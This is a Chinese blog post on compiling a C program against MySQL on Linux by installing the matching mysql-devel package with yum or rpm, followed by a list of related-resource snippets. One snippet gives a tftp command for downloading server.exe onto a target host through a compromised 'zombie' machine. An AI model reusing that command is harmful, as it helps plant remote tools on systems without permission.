今天尝试用c语言访问连接MySQL,发现使用编译指令:gcc -I/usr/include/mysql connect1.c -L/usr/lib/mysql -lmysqlclient -o connect1
原因其实很简单了,昨天我只装了server和client两个包,对于平常的使用,这已经足够了,但对于要在linux下进行数据库的开发,则还需要安装devel开发包,并且该开发包的版本应该和我之前所安装的server和client包版本一致,否则会发生冲突而导致无法安装。
$yum search mysql //查看与mysql相关包的名字,找到我们需要的开发包中包含devel的包
$yum install yum install mysql-devel.i686
安装完成后再进行敲入
$gcc -I/usr/include/mysql connect1.c -L/usr/lib/mysql -lmysqlclient -o connect1
就可以执行了。
注意上面的软件都是通过yum来安装的,如果你是用RPM来安装mysql的,那么方法是类似的,先要下载开发包,在安装
下面 是具体的命令
rpm -ivh MySQL-devel-community-5.1.46-1.rhel5.i386.rpm
请注意你的开发包的版本应该和你的server,client包的版本一致
$rpm -qa \*mysql\* //看看你安装了哪些包 ,通过名字就可以看出mysql 的版本
分享到:
相关推荐
1、Linux系统C语言编程连接MySql数据库实现的用户 用户组 用户策略 管理系统(getopt解析命令行参数).c 代码的源文件。 user-usergroup-authoritys.vsd user-usergroup-authoritys.jpg 数据库的图,以及图片。 2、...
用多线程和C语言实现的mysql能很容易充分利用CPU。 2、mysql可运行在不同的操作系统下。简单地说,mysql可以支持Windows95/98/NT/2000以及UNIX、Linux和SUN OS等多种操作系统平台。这意味着在一个操作系统中实现的...
Linux以其安全可靠、代码开放、低成本和丰富的第三方软件,受到网站设计人员的青睐,其中Apache+MySQL+PHP更是引人注目,再加上Mod―Auth―MySQL、phpMyAdmin等模块的支持,使网站开发人员更是如虎添 翼。...
RDS(网易云关系数据库服务)上线已经有一段时间,陆续不断有产品迁入到了RDS中,在线上运维的过程中,也遇到了一些曾经没有考虑到,或者考虑的不全的东西。后续有时间可以分享给大家。 今天想提到的是线上一个4G的...
用参数/e才可连目录下的子目录一起复制到目标地址下。 tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式...
本文以Mandrake Linux 9.1(Kenrel 2.4.21)为例,介绍Linux下的安装和登录命令。 immortality按:请用ctrl+f在本页中查找某一部分的内容或某一命令的用法。 ----------------------------------------------------...
2012-06-11 21:40 60 access连接字符串.txt 2012-06-11 21:08 666 adc-test.c 2012-06-11 21:07 765,000 AS3游戏编程大学.pdf 2012-06-11 21:40 750,563 ATL开发指南源码.rar 2012-06-11 21:05 186,863 BIOS练习工具...
当你有一套可复用的并且逻辑清晰的函数时,将其构建为一个库会十分有用,这样你就不将这些源代码拷贝到你的源代码中,而且每次都要再次编译它们。除此之外,你还可以保证你的程序各模块隔离,这样你修改其中一个模块...
C++ android C# linux pdf c语言 Oracle c matlab SQL Api 源代码 windows java 数据库 VB 单片机 编程 vc MFC jquery javascript java 数据结构 .NET visual PPT jsp 开发 Mysql opengl chm ASP.NET php ...
Extension/MYSQL/Memcached开发,旨在解决BBS站点负载过高的问题,是大中型站点理想选择的对象之一。自2008年开始设计开发,2010年放出第一个版本Xiuno1.0,一共经历了近两年的开发时间,内部开发版本已经升级到了...
这为C/S结构下创建共享的办公系统,文档管理,知识管理解决方案提供了更强大的接口。 8 状态栏,智能Web调用,预定义模板套红 全面支持状态栏,用户界面更加友好。智能Web调用让您甚至可使用XML或者自定义的协议与...
如果想要强行转换变量类型,可以使用与C语言相同的函数settype()。 2.5 变量与常量 可能你已经注意到,变量都有一个美元符号($)的前缀。所有变量都是局部变量,为了使得定义的函数中可以使用外部变量,使用...
CK-Online Judge 一个线上程式批改系统,目前简要的实现了会员系统,编译/执行C 与C++ 程式的功能。 专案资源 新版沙盒基于linux seccomp实作,具备Web API...预设每个答案最后都必须接上一个\n ,若找不到一样会Wrong
12、系统软件分类 1、操作系统 windows 、linux、unix 等 2、编程软件 汇编语言、高级语言、机器语言、C语言、C++、java、C#等 3、数据库软件 SQL Server、Oracle、Mysql和Visual FoxPro等。 13、应用软件分类〔...